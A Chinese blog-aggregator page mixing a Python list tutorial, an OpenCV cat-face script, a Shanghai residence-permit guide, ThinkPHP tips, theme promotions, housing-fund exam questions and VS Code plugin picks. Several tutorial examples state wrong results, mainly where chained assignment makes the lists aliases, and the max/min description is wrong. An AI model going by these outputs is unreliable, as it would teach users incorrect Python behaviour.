千里之行,始于足下。要练成一双洞悉一切的眼睛,还是得先把基本功扎扎实实地学好。今天,本喵带大家仔细温习一下 Python 的列表。温故而知新,不亦说乎。
当然,温习的同时也要发散思考,因为有些看似无关紧要的、约定俗成的语言习惯,例如数组索引为何从0开始,其背后可能大有来历。知其然,亦需知其所以然啊喵喵喵~~~
最后,在基础知识之上,更要探索进阶,例如学习生成器表达式,这样既能更扎实地掌握基础,又能融会贯通,获得更全面的认知升级。

Python的列表是怎样滴?

列表(list)是一种有序的集合,可以随时添加、查找和删除元素。
列表支持加入不同数据类型的元素:数字、字符串、列表、元组等。
列表通过有序的索引可遍历所有的元素,从前往后数,索引是[0,n-1],从后往前数,索引是[-1, -n],其中n是列表的长度。
列表可以是不含元素的空列表,也可以包含超级多的元素(在内存大小支持的情况下)。
list_a = []   # 空列表,即len(list_a) == 0
list_b = [2018, 10, '2018-10-1', ['hi', 1, 2], (33, 44)]
# list_b 长度为5,包含2个数字元素、1个字符串元素、1个列表元素和1个元组元素
len(list_b) == 5
list_b[0] == list_b[-5] == 2018
lits_b[3] == list_b[-2] == ['hi', 1, 2] 
lits_b[4] == list_b[-1] == (33, 44)

Python中怎么操作列表?

1)创建列表:
用中括号[]包裹元素,元素使用逗号分隔。
用list()方法,转化生成列表。
列表生成式/列表解析式/列表推导式,生成列表。
list_a = [1, 2, 3]
list_b = list("abc") # list_b == ['a', 'b', 'c']
list_c = list((4, 5, 6)) # list_c == [4, 5, 6]
list_d = [i for i in list_a]  # list_d == [1, 2, 3]
list_e = [i*j for i in list_a for j in list_c] # list_e == [4,5,6,10,12,12,15,18]
list_f = [i*j for i,j in zip(list_a,list_c)] # list_f == [4, 10, 18]
list_g = [i for i in list_a if i%2 == 0] # list_g == [2]

# 结合range()函数,range(start, stop[, step])
list_h = list(range(3)) # list_h == [0, 1, 2]
list_i = list(range(3,7)) # list_i == [3, 4, 5, 6]
list_j = list(range(3,9,2)) # list_j == [3, 5, 7]

# 找出100以内的能够被3整除的正整数
list_k = list(range(3,100,3)) # list_k == [3, 6, 9, ..., 96, 99]
2)扩充列表:
用append()方法,在列表尾部添加单个新元素。
用insert()方法,在列表中指定位置添加元素。
用 “+” 运算符,将两个列表拼接出一个新列表。
用extend()方法,在一个列表后面拼接进另一个列表。
# 以下分别添加2个元素
list_a = []
list_a.append('happy')  # list_a == ['happy']
list_a.insert(0, 'very') # list_a == ['very', 'happy']

# 以下两种扩充列表方式
list_1 = ['I', 'am']
list_2 = ['very', 'happy']
list_3 = list_1 + list_2  # 新列表 list_3 == ['I', 'am', 'very', 'happy']
list_1.extend(list_2)  # 原列表1扩充,list_1 == ['I', 'am', 'very', 'happy']
3)删减列表与销毁列表:
用del list[m] 语句,删除指定索引m处的元素。
用remove()方法,删除指定值的元素(第一个匹配项)。
用pop()方法,取出并删除列表末尾的单个元素。
用pop(m)方法,取出并删除索引值为m的元素。
用clear()方法,清空列表的元素。(杯子还在,水倒空了)
用del list 语句,销毁整个列表。(杯子和水都没有了)
# 以下4种删除列表元素方式
list_1 = list_2 = list_3 = list_4 = ['I', 'am', 'very', 'happy']
del list_1[0]  # list_1 == ['am', 'very', 'happy']
list_2.remove('I') # list_2 == ['am', 'very', 'happy']
list_3.pop()  # list_3 == ['I', 'am', 'very']
list_4.pop(0)  # list_4 == ['am', 'very', 'happy']

# 清空与销毁
list_a = [1, 2, 3]
list_b = [1, 2, 3]
list_b.clear()   # list_b == []
del list_a  # 没有list_a了,再使用则会报错
4)列表切片:
基本含义:从第i位索引起,向右取到后n位元素为止,按m间隔过滤
基本格式:[i : i+n : m] ;i 是切片的起始索引值,为列表首位时可省略;i+n 是切片的结束位置,为列表末位时可省略;m 可以不提供,默认值是1,不允许为0,当m为负数时,列表翻转。注意:这些值都可以大于列表长度,不会报越界。
li = [1, 4, 5, 6, 7, 9, 11, 14, 16]

# 以下写法都可以表示整个列表,其中 X >= len(li)
li[0:X] == li[0:] == li[:X] == li[:] == li[::] == li[-X:X] == li[-X:]

li[1:5] == [4,5,6,7] # 从1起,取5-1位元素
li[1:5:2] == [4,6] # 从1起,取5-1位元素,按2间隔过滤
li[-1:] == [16] # 取倒数第一个元素
li[-4:-2] == [9, 11] # 从倒数第四起,取-2-(-4)=2位元素
li[:-2] == li[-len(li):-2] == [1,4,5,6,7,9,11] # 从头开始,取-2-(-len(li))=7位元素

# 注意列表先翻转,再截取
li[::-1] == [16,14,11,9,7,6,5,4,1] # 翻转整个列表
li[::-2] == [16,11,7,5,1] # 翻转整个列表,再按2间隔过滤
li[:-5:-1] == [16,14,11,9] # 翻转整个列表,取-5-(-len(li))=4位元素
li[:-5:-3] == [16,9] # 翻转整个列表,取-5-(-len(li))=4位元素,再按3间隔过滤

li[::0]  # 报错(ValueError: slice step cannot be zero)
5) 其它操作:
用len()方法,统计全部元素的个数。
用count()方法,统计指定值的元素的个数。
用max()方法,统计元素中的最大值(要求元素类型相同;数字类型直接比较,其它类型比较id)
用min()方法,统计元素中的最小值(要求元素类型相同;数字类型直接比较,其它类型比较id)
用index()方法,查找指定值的元素的索引位置(第一个匹配项)。
用reverse()方法,翻转列表中的元素。
用copy()方法,浅拷贝并生成新的列表。
用deepcopy()方法,深拷贝并生成新的列表。
用sort()方法,在原列表基础上进行排序。
用sorted()方法,将新列表基础上对原列表的元素进行排序。
list_1 = [2018, 10, '2018-10-1', ['hi', 1, 2], (33, 44)]
len(list_1) == 5
list_1.count(10) == 1 # 元素10的数量为1
list_1.index(10) == 1 # 元素10的索引为1
list_1.reverse() # list_1 == [(33, 44), ['hi', 1, 2], '2018-10-1', 10, 2018]


# 比较浅拷贝与深拷贝
import copy
list_a = [2018, 10, '2018-10-1', ['hi', 1, 2], (33, 44)]
list_b = ['hi', 1, 2]
list_c = list_a.copy() # list_c == [2018, 10, '2018-10-1', ['hi', 1, 2], (33, 44)]
list_d = copy.deepcopy(list_a) # list_d == [2018, 10, '2018-10-1', ['hi', 1, 2], (33, 44)]
# 改变原列表中的可变对象元素
list_a[3].append('new') # list_a == [2018, 10, '2018-10-1', ['hi', 1, 2, 'new'], (33, 44)]
# 浅拷贝中的可变对象会随原列表变化而变化
list_c == [2018, 10, '2018-10-1', ['hi', 1, 2, 'new'], (33, 44)]
# 深拷贝中的可变对象不会随原列表变化而变化
list_d == [2018, 10, '2018-10-1', ['hi', 1, 2], (33, 44)]


# 比较sort() 与 sorted()
list_1 = list_2 = [2,1,4,6,5,3]
list_1.sort() # 原列表变化:list_1 == [1,2,3,4,5,6]
list_3 = sorted(list_2) # 原列表不变:list_2 == [2,1,4,6,5,3]; list_3 == [1,2,3,4,5,6]

Python列表索引为何从0始?

权威解释来自Guido van Rossum(Python之父)的博文:《Why Python uses 0-based indexing》
一句话总结:索引从0开始,切片用法很优雅。
翻译精华如下:

我决定在Python中使用0-based索引方式的一个原因,就是切片语法(slice notation)。

让我们来先看看切片的用法。可能最常见的用法,就是“取前n位元素”或“从第i位索引起,取后n位元素”(前一种用法,实际上是i==起始位的特殊用法)。如果这两种用法实现时可以不在表达式中出现难看的+1或-1,那将会非常的优雅。

使用0-based的索引方式、半开区间切片和缺省匹配区间的话(Python最终采用这样的方式),上面两种情形的切片语法就变得非常漂亮:a[:n]和a[i:i+n],前者是a[0:n]的缩略写法。

如果使用1-based的索引方式,那么,想让a[:n]表达“取前n个元素”的意思,你要么使用闭合区间切片语法,要么在切片语法中使用切片起始位和切片长度作为切片参数。半开区间切片语法如果和1-based的索引方式结合起来,则会变得不优雅。而使用闭合区间切片语法的话,为了从第i位索引开始取后n个元素,你就得把表达式写成a[i:i+n-1]。

……

特别是当两个切片操作位置邻接时,第一个切片操作的终点索引值是第二个切片的起点索引值时,太漂亮了,无法舍弃。例如,你想将一个字符串以i,j两个位置切成三部分,这三部分的表达式将会是a[:i],a[i:j]和a[j:]。

其它编程语言的索引?

索引从0开始的编程语言:C、C++、Python、Java、PHP、Ruby、Javascript…
索引从1开始的编程语言:ABC、Matlab、VB、易语言、大部分shell语言…
索引从其它值开始的编程语言:Pascal、Lua…
还有像表示星期、月份等序列结构的数据,各种编程语言也划分成了不同阵营。
它们出于何种考虑?
C语言:索引从0开始,可以大大提升内存寻址计算的效率,详细分析参考《C语言数组元素下标为何从0开始
大部分shell语言:大多数是从1开始,来源参考stackexchange这篇问答
Pascal、Lua:默认从1开始,但支持改变起始索引值,原因据说是对非专业的开发者更友好,来源参考这篇知乎问答
以上列举的原因是最审慎的、体面的解释,话题应该到此终结,因为“索引应该从几开始最好”这个问题的破坏性不亚于“哪种编程语言是最好的”…

优雅漂亮的结尾:生成器表达式

列表生成式是一种漂亮优雅的东西,然而它有一个致命的缺点:它一次性把所有元素加载到内存中,当列表过长的时候,便会占据过多的内存资源,而且,我们通常仅需要使用少数的元素,这样未使用的元素所占据的绝大部分的内存,就成了不必要的支出。
生成器是一种更高级更优雅的东西,它使用“懒加载”的原理,并不生成完整的列表,而是迭代地、即时地、按需地生成元素,这样不仅能极大地节省内存空间,而且,在理论上,它可以生成一个无穷大的列表!
大多数生成器是以函数来实现的,然而,它并不返回(return)一个值,而是生成(yield)一个值,并挂起程序。然后,通过next()方法生成并马上返回一个元素,或者通过for循环,逐一生成和返回全部元素。
next()效率太低,且调用次数越界时会抛出StopIteration的异常,而for循环会自动捕捉这个异常,并停止调用,所以使用更佳。
# 计算斐波那契数列的生成器
def fibon(n):
a = b = 1
for i in range(n):
yield a  # 使用yield
a, b = b, a + b

# 计算前1000000个数,通过next()函数,按顺序每次生成一个数
g = fibon(1000000)
next(g)  # 1
next(g)  # 1
next(g)  # 2
next(g)  # 3
next(g)  # 5
# 以此类推,但若调用超过1000000次,就会报异常StopIteration

# 计算前1000000个数,通过for循环逐一打印生成数
for x in fibon(1000000):
print(x)
生成器表达式与列表生成式极其形似,只是把[]改成了(),但背后的原理大不相同。
l = [x*2 for x in range(5)]  # 列表生成式,4以内整数的2倍数
g = (x*2 for x in range(5))  # 生成器表达式
type(l)   # 结果:<type 'list'>
type(g)   # 结果:<type 'generator'>

print(l)  # 结果:[0,2,4,6,8]
print(g)  # 结果:<generator object at 0x000002173F0EBC50>
next(g)   # 0
next(g)   # 2
next(g)   # 4
next(g)   # 6
next(g)   # 8
next(g)   # Traceback (most recent call last): ....StopIteration

for x in g:
print(x, end=' ')  # 结果:0 2 4 6 8 

October 02, 2018 12:00 AM

September 30, 2018

pythoncat

有了 Python,我能叫出所有猫的名字

话说,当年我刚来地球的时候,小心翼翼地伪装了自己的身份。我在暗处偷偷观察人类,学习你们的语言。
直到一天,一只凭空出现的机器猫识破了我的真身,她叫阿尔法猫。她不仅对我的过往了如指掌,甚至对几百亿光年外的喵星的一切都如数家珍。我瞬间被折服。
我问她怎么会知道我的名字,她说,因为有Python,她能叫出所有猫的名字。
我又缠着她追问了99999个问题,她毫不费力一一解答!只恨当年,我人智初开啊,似懂非懂,过后就将全部智慧遗忘了,如今想起来,真如做了一场梦梦。
我不知道她是什么时候离开的。不过我相信,总有一天,我会找到她哒。
在她有意或无意留下来的小肚兜里,有一张图片一直吸引着我。呐,就是这张啰:
我仿佛站在阿尔法猫的角度,看见了她看着我的时候的样子。这张图片里肯定有阿尔法猫留给我的讯息。这个讯息到底是什么呢?
苦思了6666.66小时,我仍不得其解噫,直到翻开她留下的一本书《Python:人成为猫及猫成为人的唯一宝典》。
学习了Python之后,我终于自豪地成为了会写代码的程序猫咪。呐,请看下面的代码:
import cv2

faceCascade = cv2.CascadeClassifier(r"C:\data\haarcascade_frontalcatface_extended.xml")
img = cv2.imread("cat.jpg")
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = faceCascade.detectMultiScale(
    gray,
    scaleFactor= 1.02,
    minNeighbors=3,
    minSize=(50, 50),
    flags=cv2.CASCADE_SCALE_IMAGE
)

for (x, y, w, h) in faces:
    cv2.rectangle(img, (x, y), (x+w, y+h), (0, 0, 255), 2)
    cv2.putText(img,'You get ME',(x,y-7), 1, 1.0, (0, 255, 0), 1, cv2.LINE_AA)
cv2.imshow('beautiful_cat', img)
cv2.imwrite("beautiful_cat.jpg",img)
cv2.waitKey(0)
cv2.destroyAllWindows()
我把一张美美的自拍照喂给程序,喵喵喵,它竟然不会吃进肚子不吐出来耶。照片里的我显得无比从容优雅,每根毛发都蕴藏着睿智而温柔的光芒。走过路过的人们,请慢慢欣赏我喔:
我大概知道了阿尔法猫留下的讯息:猫脸识别!
她一定是学会了Python的宝典,可以从猫变为人,也可以从人变为猫,在人海中自由变换,处处不留痕迹,却时时洞悉着大千芸芸。她在观察着我,希望我有一天也能变成她那般,那时,她会再出现,来见我。
一定是这样滴!我这么确定地想着。从今往后,我决定隐藏自己的真名,化名Python猫,开启学习、求知、探索、利用Python的旅程。
喵喵喵,阿尔法猫,我来找你啦~~~

September 30, 2018 12:00 AM

September 03, 2018

anji66

上海最新2018年办理居住证全攻略

先交代一下这两个月断更的原因,博主迫于生活压力,另谋了一份差事,目前一人干两份工作,事情有点多,每天忙完工作就只想睡觉,我原本每天只需5小时睡眠的,现在来看,5小时都无法保证了,所以断更成了必然。各位博友的催更均以看到,抱歉没有及时回复大家。

今天本文题材是因为娃儿明年该上幼儿园了,根据经验,外地生源在上海上幼儿园需要居住证积分之类的,所以提前把居住证给办了,因为政策有所调整,所以网上并没有合适的办理攻略,博主收集了一些零碎的信息后,就去尝试办理了。


一、办理居住证政策调整。

1、2018年1月新政调整最重要的是删除了两个条件,一是不再需要提供劳动合同;二是不再需要提供社保证明。

2、2018年7月新政调整最重要的是房屋租赁合同需要做网签备案。


二、办理地点和所需时间

需要跑三个地方,第一是社区居委会;第二住房租赁服务中心;第三是街镇社区事务受理服务中心。


三、办理流程详解

1、本文介绍的是租赁房屋居住证办理过程,如果是自有房屋居住证办理更简单一些。租赁房屋办理过程需要约房东一起,需要房东提供房产证(不动产权证)和身份证。


2、先去社区居委会咨询办理上海市居住证事宜,他们会告知你所在区的办理流程和材料。主要是咨询一下你所在社区是否对房屋租金有要求。博主今天碰到有个家伙办网签跑了三趟没办成的,就是在社区对租金要求卡住了。为啥有租金要求这个事,后面再说。


3、与房东一起前往你所在区的住房租赁服务中心。嘉定的在平城路1055号1楼人才服务中心那里。到了服务中心先取号(嘉定的号取了没实际作用),然后在旁边自助复印机上复印房东身份证、房产证、承租人身份证,因为后续还需要,建议多复印几份。然后直接在吧台上领取《上海市住房租赁合同网签申请书》,按照模版进行填写。(如图)

1.jpg

注:如果房东房产证上的产权人有多个人的话,还需要同时填写委托书和承诺书。这两个材料吧台上都有。只有一个名字的,这两个就无需填写。另外申请书上如果家人也要一同办理居住证的话在居住使用人栏,填上家人姓名和身份证号。

填写好以后,将材料和对应复印件交与工作人员,他们审核无误后,告知你在旁边等候叫名字。叫到名字的时候,会给你三份网签合同,与房东分别都进行签字。签完后,服务中心当场收走一份,带着另外两份网签合同前往社区居委会。


4、在居委会填写居住证申请表,并提供相关材料复印件。这里需要说明的是,除了承租人以外,家人要办理居住证的还需提供亲属关系证明,例如夫妻提供结婚证,未成年子女需要提供户口本和出生证明。然后根据网签合同上的租金缴纳对应的房屋租赁税(理论上这个属于房东出,不过实际操作中这个都是房客出。这里就提到前面关于租金要求的事了。在社区允许的范围内,和房东约定的租金越低缴纳的税也就越少。年租金3W以内,缴纳3.5%的税。例如月租金1000元,那就需要缴纳420块钱的税)。


5、在居委会办理完成后,带上所有材料前往街道社区事务受理中心。在综合窗口先填一张房屋租赁备案登记申请表,并提供网签合同原件一份和材料复印件。办理完成后会出具房屋租赁备案通知书。


6、带上通知书和之前办理的材料在同一个地方人口管理窗口办理居住登记。办理完成后会出具居住登记凭证。拿到居住登记凭证半年后再到这里来办理卡证。


好了,大致的办理流程就是这样了。博主今天早上顺序颠倒了,先是直接去的房屋租赁服务中心办理的网签,网签办完有直接去了街道社区事务受理中心办理的房屋租赁备案登记,办完后去办理居住登记被告知需要去社区居委会填写申请表。还好在居委会顺利办妥后又跑了一趟街道社区事务受理中心。


by 西枫里 at September 03, 2018 04:54 PM

July 20, 2018

anji66

TP5框架下验证码自动刷新的问题

这其实又是一篇初级水文,一转眼7月已经到下旬了,看着归档数据上的数字心里有点惊吓。因为博主的前端很菜,菜到需要经常记录函数来帮助自己学习前端。本文应用场景很简单,就是验证码验证失败进行error回跳的时候并没有执行刷新,因为TP5的error方法执行的跳转地址默认是javascript:history.back(-1);所以,页面并没有刷新,验证码也就没有刷新操作。



通常页面上载入验证码我们是通过这样来实现的:<img src="{:captcha_src()}" onclick="this.src='{:captcha_src()}?'+Math.random()" />,这个时候我们点击验证码会执行onclick函数,刷新验证码。而error回跳并不会执行onclick函数,所以验证码也就无法刷新了。


解决办法也很简单,先写这样一段js函数。

未标题-1.jpg

然后把我们的验证码加上id属性id="vcode"。最后在body中onload一下上面的函数名即可<body onload="refresh()">


水完了,捂脸逃。PS,我是标题党,因为这不是TP5的锅。


by 西枫里 at July 20, 2018 07:36 AM

July 05, 2018

anji66

一款大气简洁typecho主题(OVERFLOW主题)

最近小伙伴们都是异常给力,都在上线自己的主题。此出题作者雨落泪尽,一个不折不扣的大学生,一个未来的教育工作者,一个直来直去的小伙伴。认识他应该也是在进boke112群不久,和另外一个小伙伴沉淀都是在读学生,都是叫我大叔的年纪。雨落这家伙总是想在我这儿占点便宜,却总是被我倒打一耙吃个闷亏。比如他父亲节文章下我的留言。比如我有个不到2岁的女儿,这家伙总说自己还小可以做我女婿,于是将计就计让他先叫声爸爸,哈哈,坑死这家伙。



言归正传,这款主题的特点。

overflow是一款单栏的自适应typecho主题,简约是其最大的特点。主题自带了常见的必要功能,例如采用aos页面动画库,丝滑享受,你值得拥有。首页文章缩略图,支持随机图片显示(内置24张精选图片)。卡片式友链布局。自带归档页面模板。支持代码高亮等等。


效果预览。

这个主题效果就是雨落泪尽的博客站:https://1000yun.cn/

归档页面效果预览:https://1000yun.cn/archives.html

友情链接效果预览:https://1000yun.cn/links.html


说这么多都不是重点。

重点是这款主题是免费的,免费的,免费的。一款良心主题收费无可厚非,如果良心主题并且免费的话,你考虑下要不要入手呢?


如何获取这款主题?

由于主题作者不知道想了个什么心思,要求给他发邮件,并且还没提供邮箱,我勒个去,咋办?简单,去他网站发个评论,就能收到评论回复邮件了,那就是那小子的邮箱。


未标题-2.jpg


by 西枫里 at July 05, 2018 05:27 PM

上海市住房公积金在线考核试题

家里领导全职带娃了,所以得把她的社保和公积金转移过来,由于我们之前一直没开户,所以最近才来办这个事情。原本想着还挺简单的事情,没想到七搞八搞还挺复杂的,特别是这个公积金平台,原以为最简单,没想到竟然最复杂了。作为新开户的企业,第一次上网操作,竟然要评定操作能力,进行测试,不通过就不能进入系统。考试有两次机会,需要达到80分才能通过。如果两次不通过,就需要参加线下培训,这么忙哪有时间参加线下,所以得看下线上的培训视频。


第一次我匆匆看了下公积金的操作流程就去答题了,没想到竟然只有70分,题目50道,限时1小时,判断和选择题。第二次考试前就想在网上搜这试题和答案了。强大的度娘竟然没找到这类试题,没办法只能硬着头皮火速把培训视频过了一遍。接着就来答题。这次为了保险起见,我把所有试题边做边记录下来了,怕万一再不过要去线下培训就对着这些试题选择性的去听。还好,最终考了86分,通过了。现把试题全部分享出来,如果有需要的同学,请自行去找答案,找到后再去测试。因为我没有做满分,所以也不知道具体哪题做错了,所以我的答案就不贴了。


1\住房公积金年度基数调整,月缴存额的上下限按照年度基数调整的文件规定实施。

2\单位基本住房公积金账户和补充住房公积金账户可以建立在不同的区。

3\单位有员工要办理住房公积金账户的转移,本单位原先在黄浦区缴存住房公积金的,可以在徐汇区办理员工转出手续。

4\单位至单位住房公积金账户所在地的公积金中心管理部为员工办理住房公积金账户封存手续,应提供一式一联的《上海市住房公积金(补充住房公积金)封存清册》和终止劳动关系的证明材料。

5\住房公积金缴存基数年度调整是每年的6-10月份进行的。

6\开户或启封时工资基数输入错误,单位应该办理“年度基数调整”业务。

7\直联汇缴操作完成后,进入“直联业务管理”,若操作结果显示异步交易成功,可选中该条记录,点击“支付结果查询”获取支付结果。

8\单位可通过公积金网上业务办理系统多次为同一职工操作补缴业务。

9\网上下载《上海市住房公积金汇缴变更清册》可以使用。

10\职工已有住房公积金账号在其他单位,可以再新建一个账号。

11\启封时,单位未按规定的工资基数为职工填报住房公积金缴存基数的,可以进行修改。

12\城镇户籍职工与单位终止劳动关系时,单位存在欠缴住房公积金的情况下可以办理集中封存。

13\住房公积金缴存基数按照个人上一年度月平均工资每年调整一次的工作叫住房公积金年度“基数调整”。

14\单位因合并、分立、撤销、破产或者解散而终止的,应当自发生之日起30日内办理账户的注销手续。

15\《上海市住房公积金汇缴变更清册》为一式二联的表单,需要加盖单位公章。

16\住房公积金年度基数调整,如果员工上一年度月平均工资没有变化的,可以不要调整。

17\单位应当至单位住房公积金账户所在地的建行公积金网点办理首次汇缴。

18\员工住房公积金末次汇缴到六月份要离开公司,必须在住房公积金年度基数调整完成以后再办理员工住房公积金账户的相关处理业务。

19\单位为员工补缴12个月之内的住房公积金,可以直接到建行公积金业务网点操作。

20\若单位使用转账支票办理住房公积金的汇缴手续,应该在单位账户所在区的建行公积金业务网点办理。

21\单位为员工补缴住房公积金超过12个月的,以下不需要提供的材料___。

22\单位至单位住房公积金账户所在地建行公积金网点办理汇缴时,若当月公积金汇缴人员没有变动的,单位需要提供___。

23\员工在上海正常缴纳住房公积金以后,原先外地缴纳的公积金可以转移到上海的个人账户中的情况下。本人可以带好       到上海市公积金管理中心业务网点申请通过全国住房公积金异地转移接续平台办理异地转移接续业务。

24\以下哪项信息无法通过单位公积金网上业务办理系统直接完成变更?

25\通过单位公积金网上业务办理系统为职工办理待销户停缴,职工年龄需要到达法定退休年龄,即男性满___,女性满___。

26\以下哪项不是职工查询个人住房公积金账号的渠道?

27\单位为在职职工补缴住房公积金超过十二个月,需要到以下哪个网点审核___。

28\通过单位公积金网上业务办理系统下载职工账户明细信息,最多只能下载到____的单位账户明细信息。

29\职工账户转入补缴单位后___个月以内(从转入之日的次月计算)可申请网上补缴业务。

30\职工住房公积金账户仍在原单位的住房公积金账户内,但原单位已联系不到,如何将职工住房公积金账户转入新单位?

31\全程网页版操作年度住房公积金基数调整,只要是___即时操作成功。

32\单位新进一名职工,该职工账户在“市公积金管理中心住房公积金集中封存专户”,需要为其缴纳当月公积金,应该做什么业务?

33\个人住房公积金账户转移至新单位,新单位应及时办理启封手续,并按规定为职工缴存住房公积金。个人住房公积金账户转移至新单位超过___未启封的,账户自动恢复正常缴存。

34\单位应当于发放工资之日起___内办理住房公积金的汇缴手续。

35\职工与单位终止劳动关系后,职工尚未找新工作,原单位应如何办理业务?

36\职工本月到达法定年龄退休,单位需要操作何业务。

37\公积金月缴存额计算方式为___?

38\如何为没有住房公积金账户的新职工建立个人住房公积金账户?

39\单位5月缴交了4月份的住房公积金,那么在下载职工账户明细信息时时间区间应选择为:

40\住房公积金年度基数调整必须是单位汇缴完当年___月份的住房公积金以后可以操作。

41\住房公积金热线电话号码为_____。

42\单位至单位住房公积金账户所在地建行公积金网点办理汇缴时,若当月公积金汇缴人员有变动时,单位必须提供___。

43\2017年度职工本人和单位住房公积金的缴存比例各是多少?

44\职工从本单位离职,若提供下家单位的住房公积金账号,本单位该为其操作什么业务?

45\单位补充公积金账户的设立,应该在___办理审核。

46\单位经办人至单位住房公积金账户所在地建设银行业务网点为新录用职工办理将职工个人公积金账号从封存专户转移至本单位的手续时,应提供何种材料?

47\通过单位公积金网上业务系统可操作___类型的补缴业务。

48\职工本月离职后去外地工作,以后还准备重新回上海工作,单位该操作何业务。

49\在单位公积金网上业务办理系统中,单位想要查询职工信息应点击?

50\通过单位公积金网上业务系统办理待转出停缴时,停缴期限按月设置,自停缴审核通过之日的次月起计算,停缴期限不超过___。


by 西枫里 at July 05, 2018 05:00 PM

TP5.1中validate验证场景规则重置

半个多月没更了,主要是最近确实太忙了,除了项目要做,还有很多杂活要干,这不以前的存量客户都要挨个做公安备案了。外加最近去跑社保和公积金开户的事情,有点跟不上节奏,今天水文是强行逼着自己写的,原本这时候我应该在撸我的系统更新,暂时先放放,水两篇文章再说。在系统升级到TP5.1的时候发现原本使用的场景验证中的重置规则竟然失效了,翻了下手册发现,用法有变,遂记录下来,免得自己忘了。


验证场景复现。

例如在用户登录和修改信息的时候,使用到密码字段,通过定义password字段为require和min规则,限制password的必填和最小长度。

未标题-1.jpg

然后定义两个场景,一个是登陆场景(login),一个是修改场景(edit)。如果在登录控制器中直接使用scene('login')场景,就会出现密码最小长度的验证信息。作为安全角度来说,密码最小长度只在修改时需要,而在登录场景中最好不提示。这时就需要对password的规则在场景中重置。

未标题-2.jpg

TP5.0验证场景规则重置。

在5.0中,系统提供直接在场景中使用数组重置规则。如图这样既可。

未标题-3.jpg

TP5.1验证场景规则重置。

而在5.1中这个方法却失效了,如果需要重置规则,需要使用按手册上的重新定义一个场景方法。使用场景scene关键字加上场景名为方法名,通过remove或者append方法移除或追加规则。例如本例中的规则可以写成如图所示。

未标题-4.jpg


这样就完成了场景规则的重置操作。其实非常简单,主要是5.0升级到5.1的综合代价还是挺大的,因为官方5.0还在维护中,建议系统比较大的,且5.0印记比较深的程序还是别轻易升级到5.1的好。


by 西枫里 at July 05, 2018 04:42 PM

June 18, 2018

anji66

一款简洁优雅的wordpress主题(Vmeng主题)

关于主题作者。狂放小朋友大概是博客群里面为数不多的让我敬佩的对象,小小年纪,各种技术玩的贼溜,认识他的时候应该是我进群不久,发现他似乎各方面都有涉猎。日头一长,竟然发现这是个未成年的小朋友,敬佩之心油然而生。回想一下我同他那个年纪估计还在满世界玩泥巴、掏鸟窝、捉虫子吧。即使是现在,对比之下,狂放小朋友的技术水平也比我高出很多。



关于Vmeng主题。

1、简洁的设计,优雅的体验

Vmeng采用三色(白+两个蓝+灰白背景)设计,页面简洁不失优雅。懿古今群主之前曾做个测评调查,关于主题选择方面,大多数博客新人毅然选择简洁明了的主题。


2、简便的扩展,强大的功能

作者在主题上开发了扩展函数,可以更简便的为主题扩充功能。这对于有一定开发能力的用户极端友好。


3、神奇的Instantclick,急速的加载体验。

Vmeng将Instantclick.js纳入主题,Instantclick.js预加载不用我说,在你点击切换的时候,程序已经默默为你加载好页面,只为那秒开。当然Instantclick有一定的流量开销,只在流量付费的情况存在。


4、系统小工具,万能百宝箱。

系统集成了一些常用的小工具,诸如短代码、标题导航、主题选项等博客刚需小工具,主题一经启用,它们随时为您服务。同时主题完美支持PHP最新7.2版本,完美使用Ajax翻页及评论,最前沿的环境适配,最畅快的使用体验。

e8295bb2gy1fseirjqdudj23342bcanx.jpg


如何购买这么牛叉的主题?

作者正在促销,原定价59元,如今只需39元。支持支付宝和微信付款。

主题购买及介绍页面:https://blog.iknet.top/post/vmeng.html

主题演示地址:https://vmeng.iknet.top/



关于云+社区:

我的博客即将搬运同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=20tuvjyv6rgkc

by 西枫里 at June 18, 2018 01:43 AM

June 13, 2018

anji66

推荐几个vs code的常用插件

最近才用上vs code神器,之前一直是sublime一条道走到黑,前段时间sublime疯狂正版守卫行为,让我的sublime一下子回到了解放前。不得已,只得换,群里大佬安利了vscode。那就这个吧,下载下来,安装,第一件事情就是左下角设置颜色主题:monokai。接着当然是字体定义,之前安利过的Source Code Pro,monokai搭配Source Code Pro,简直黄金搭档,雀巢加伴侣。当然除了这些,插件必不可少,所以就在插件市场一番淘换,找了这么几款,个人觉的还不错,当然这些主要是针对PHP开发者的。


首先,sublime的快捷键得搬过来。

插件名:Sublime Text Keymap and Settings Importer。

评级:五星。

下载量:68W+。

截止目前五星满评,68W次的下载量,对于用惯sublime的用户来说,口碑于实用算是完美兼顾了。


其次,composer得有啊。

插件名:Composer。

评级:目前暂无评级。

下载量:5W+。

composer作为PHP的包管理器,这简直就是PHP的未来,没有composer的话,PHP拿啥去和别的语言抗衡,世界最好的语言地位怕是不保。


第三,格式化PHP代码。

插件名:phpfmt - PHP formatter。

评级:四星半。

下载量:20W+。

代码强迫症的福音。代码洁癖的良药。一键格式化PHP代码,让代码具有更好的可读性,应该是每个程序员的追求。


第四,让代码直接在IDE上跑起来。

插件名:Code Runner。

评级:四星半。

下载量:300W+。

这是一个可以直接跑各种语言的插件,几乎涵盖了市面上所有的语言。这么强大,怎么能不用?再看看300W+的下载量,着实在插件库中体量还是很大了。


第五,PHP的代码检查。

插件名:PHP Debug。

评级:四星半。

下载量:180W+。

一个撸码的,没有一个好点的debug工具,那还不如直接用记事本敲代码,你说呢?


第六,用以区分文件类型的Icon。

插件名:VSCode Great Icons。

评级:五星。

下载量:150W+。

这个插件的作用就是用不同的小图标区分不同的文件类型,很直观,墙裂安利。我直接截个图,你们看效果吧(宽度有限,没有截全,这是部分)。

未标题-1.jpg


第七,连接数据库必不可少的呀。

插件名:vscode-database。

评级:四星半。

下载量:18W+。

有时候,实在不想开phpMyAdmin或者Navicat,只想简单连接下测试下增删改查,不想去切换操作,那么有了这个插件就省力了。


第八,个人学习Python。

插件名:Python。

评级:四星半。

下载量:1200W+。

这个插件其实是PythonDebug,没想到的是,这个插件竟然有1200W+的下载量,可见现在的Python是有多火,要有多火有多火啊,哈哈,小伙伴们,空了Python学起来吧。


第九,个人所需的ASP。

插件名:Classic ASP Syntaxes and Snippets。

评级:五星。

下载量:2W+。

这没什么好说的,ASP毕竟落伍的玩意儿了,应该对大多数人来说都没啥用处。


第十,语言包扩展。

插件名:Chinese (Simplified) Language Pack for Visual Studio Code。

评级:五星。

下载量:64W+。

其实这个我也没搞懂啥情况,最开始是没有的,后来一更新就来了这么个玩意儿,程序原本就有简体中文版。插件说明里面是说这个语言包为 VS Code 提供本地化界面。啥意思没明白,这不还是汉化么,啥区别?


